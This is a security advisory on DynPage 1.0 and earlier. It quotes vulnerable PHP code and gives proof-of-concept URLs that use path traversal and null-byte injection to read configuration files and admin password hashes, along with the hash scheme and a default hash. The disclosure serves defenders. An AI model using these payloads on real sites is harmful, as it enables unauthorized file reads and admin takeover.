MOAUB

Abysssec Research

1) Advisory information

Title	: DynPage Multiple Remote Vulnerabilities.
Affected	: <= 1.0
Discovery	: www.abysssec.com
Vendor	: http://www.dynpage.net
Impact	: Critical
Contact	: shahin [at] abysssec.com , info [at] abysssec.com
Twitter	: @abysssec

2) Vulnerability Information

Class

1- **Local File Inclusion**

2- **Admin password hash Disclosure**

Impact

An attacker may leverage this issue to have arbitrary code execute in target server And also it's possible to grab administrator hashes.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- Local File Include:

Vulnerable code located in /content/dynpage_load.php :

```
[line(20-28)]
...
            $filename = $_GET["file"];
            if (!is_dir ($filename) && file_exists ($filename)) {

                        $bytes = filesize ($filename);
                        $fh = fopen($filename, 'r');
                        print (fread ($fh, $bytes));
                        fclose ($fh);
            }
....
```

POC:

```
http://www.Site.com/dynpage/content/dynpage_load.php?file=../.htaccess%00
```

2- Admin hash disclosure:

The Admin password hash format: MD5('admin:'+$password) then password's salt is "admin:"

Default password is admin,that stored in config_global.inc.php

```
line 41-42:
                                    // Default login admin
                                    "default_login_hash" => "d2abaa37a7c3db1137d385e1d8c15fd2",
```

POC for see this hash:

```
http://www.Site.com/dynpage/content/dynpage_load.php?file=../config_global.inc.php%00
```

The hash password stored as SESSION in /conf/init.inc.php.

```
<?php
// This file is generated automatically!
// No not modify manually!
$_SESSION['DYNPAGE_CONF_VAR_ALL']['login_hash']="2d08086927f4d87a31154aaf0ba2e067";
$_SESSION['DYNPAGE_CONF_VAR_ALL']['admin_email']="a@a.com";
?>
```

POC for see this hash:

```
http://www.Site.com/dynpage/content/dynpage_load.php?file=../conf/init.inc.php%00
```